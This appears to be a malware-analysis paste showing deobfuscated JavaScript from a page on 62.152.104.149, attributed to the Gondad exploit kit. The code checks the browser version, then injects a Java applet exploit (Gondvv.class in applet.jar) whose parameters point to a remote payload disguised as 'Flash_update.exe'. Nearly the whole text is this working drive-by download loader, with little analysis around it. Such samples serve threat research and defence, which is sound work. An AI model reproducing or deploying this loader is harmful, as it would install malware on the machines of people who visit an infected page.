62.152.104.149 index.html deobfuscated code

-----------------------------------------------------------
Deobfuscated index.html is also part of Gondad exploit kit on 62.152.104.149
-----------------------------------------------------------

NjJPKK2 = fqIjwRI5;
    wxhrsnl4 = GkJcUMJ3(20100418);
    while (window.closed) {
    }
    var xxx3 = window.navigator.userAgent.toLowerCase();
    if (xxx3.indexOf("msie 6") > -1) {
        document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://62.152.104.149/public/meeting/Flash_update.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cve2012xxxx.Gondvv.class'><param name=archive value= 'applet.jar'></OBJECT>");
    } else {
        document.write("<br>");
        var gondady = document.createElement("body");
        document.body.appendChild(gondady);
        var gondad = document.createElement("applet");
        gondad.width = "256";
        gondad.height = "256";
        gondad.archive = "applet.jar";
        gondad.code = "cve2012xxxx.Gondvv.class";
        gondad.setAttribute("xiaomaolv", "http://62.152.104.149/public/meeting/Flash_update.exe");
        gondad.setAttribute("bn", "woyouyizhixiaomaolv");
        gondad.setAttribute("si", "conglaiyebuqi");
        gondad.setAttribute("bs", "748");
        document.body.appendChild(gondad);
    }